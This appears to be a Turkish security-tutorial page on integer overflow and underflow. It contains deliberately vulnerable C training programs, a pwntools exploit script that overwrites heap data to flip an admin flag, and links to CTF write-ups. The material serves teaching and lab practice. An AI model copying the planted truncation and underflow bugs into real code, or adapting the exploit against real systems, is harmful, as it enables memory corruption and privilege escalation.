Integer Overflow

Reading time: 10 minutes

Temel Bilgiler

Bir integer overflow'un özü, bilgisayar programlamada veri tiplerinin boyutu tarafından konulan sınırlama ve verinin yorumlanmasıdır.

Örneğin, bir 8-bit unsigned integer 0 ile 255 arasındaki değerleri temsil edebilir. Bir 8-bit unsigned integer'a 256 değerini saklamaya çalışırsanız, depolama kapasitesinin sınırı nedeniyle değer 0'a sarar. Benzer şekilde, 16-bit unsigned integer, 0 ile 65,535 arasındaki değerleri tutabildiği için 65,535'e 1 eklemek değeri tekrar 0'a sarar.

Ayrıca, bir 8-bit signed integer, -128 ile 127 arasındaki değerleri temsil edebilir. Bunun nedeni, işaret (pozitif veya negatif) için bir bit kullanılması ve büyüklüğü temsil etmek için 7 bit kalmasıdır. En küçük negatif sayı -128 (ikili 10000000) olarak temsil edilir ve en büyük pozitif sayı 127 (ikili 01111111)'dir.

Yaygın integer tipleri için maksimum değerler:

A short, 64-bit sistemlerde int16_t'ye; bir int, int32_t'ye; ve bir long, int64_t'ye eşdeğerdir.

Maksimum değerler

Potansiyel web vulnerabilities için desteklenen maksimum değerleri bilmek çok ilginçtir:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

#include <stdio.h>
#include <limits.h>

int main() {
int a = INT_MAX;
int b = 0;
int c = 0;

b = a * 100;
c = a + 1;

printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}

Examples

Pure overflow

Basılan sonuç 0 olacaktır çünkü char'ta overflow yaptık:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

İşaretliden İşaretsize Dönüştürme

Kullanıcı girdisinden bir işaretli tamsayı okunduğunu ve daha sonra uygun doğrulama yapılmadan işaretsiz tamsayı olarak ele alan bir bağlamda kullanıldığını düşünün:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin yorumlanma biçimi nedeniyle bu değer büyük bir işaretsiz tamsayı olarak algılanır ve bu da beklenmeyen davranışlara yol açabilir.

macOS Taşma Örneği

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Şununla derleyin:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS Underflow Örneği

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Bunu şu komutla derleyin:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Diğer Örnekler

• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

• Parola boyutunu saklamak için sadece 1B kullanılıyor; bu yüzden onu overflow etmek ve gerçek uzunluğu 260 iken sanki 4 olduğunu düşündürerek length check protection'ı bypass etmek mümkün

• https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html

• Birkaç sayı verildiğinde, z3 kullanarak birinci ile çarpıldığında ikinciyi verecek yeni bir sayı bulun:

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

• https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
• Parola boyutunu saklamak için sadece 1B kullanılıyor; bu yüzden onu overflow etmek ve gerçek uzunluğu 260 iken sanki 4 olduğunu düşündürerek length check protection'ı bypass etmek ve stack'te sonraki yerel değişkenin üzerine yazmak (overwrite) suretiyle her iki korumayı da bypass etmek mümkün

ARM64

Bu ARM64'te değişmiyor, this blog post’da görebileceğiniz gibi.